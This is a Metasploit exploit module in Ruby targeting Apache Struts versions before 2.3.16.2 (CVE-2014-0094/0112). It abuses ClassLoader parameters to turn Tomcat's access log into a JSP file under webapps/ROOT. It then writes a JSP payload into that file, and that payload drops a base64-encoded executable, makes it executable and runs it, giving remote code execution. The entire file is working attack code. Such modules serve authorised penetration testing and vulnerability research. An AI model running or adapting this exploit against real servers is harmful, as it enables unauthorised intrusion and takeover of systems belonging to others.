##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking # It's going to manipulate the Class Loader
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
access to 'class' parameter which is directly mapped to getClass() method and
allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'pwntester <alvaro[at]pwntester.com>', # PoC
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
],
'Platform' => %w{ linux win },
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Targets' =>
[
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 1))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
], self.class)
end
def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
dropper
end
def dump_line(uri, cmd = "")
res = send_request_cgi({
'uri' => uri+cmd,
'version' => '1.1',
'method' => 'GET',
})
res
end
def modify_class_loader(opts)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
"class['classLoader'].resources.context.parent.pipeline.first.directory" => opts[:directory],
"class['classLoader'].resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"class['classLoader'].resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
res
end
def check_log_file(hint)
uri = normalize_uri("/", @jsp_file)
print_status("#{peer} - Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("#{peer} - Countdown #{10-x}...")
res = dump_line(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}")
return true
end
end
false
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def create_jsp
if target['Arch'] == ARCH_JAVA
jsp = fix(payload.encoded)
else
payload_exe = generate_payload_exe
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup(payload_file)
end
jsp
end
def exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
@jsp_file = prefix_jsp + date_format + ".jsp"
# Modify the Class Loader
print_status("#{peer} - Modifying Class Loader...")
properties = {
:directory => 'webapps/ROOT',
:prefix => prefix_jsp,
:suffix => '.jsp',
:file_date_format => date_format
}
res = modify_class_loader(properties)
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end
# Check if the log file exists and hass been flushed
if check_log_file(normalize_uri(target_uri.to_s))
register_files_for_cleanup(@jsp_file)
else
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end
# Prepare the JSP
print_status("#{peer} - Generating JSP...")
jsp = create_jsp
# Dump the JSP to the log file
print_status("#{peer} - Dumping JSP into the logfile...")
random_request = rand_text_alphanumeric(3 + rand(3))
jsp.each_line do |l|
unless dump_line(random_request, l.chomp)
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
end
end
# Check log file... enjoy shell!
check_log_file(random_request)
# No matter what happened, try to 'restore' the Class Loader
properties = {
:directory => '',
:prefix => '',
:suffix => '',
:file_date_format => ''
}
modify_class_loader(properties)
end
end
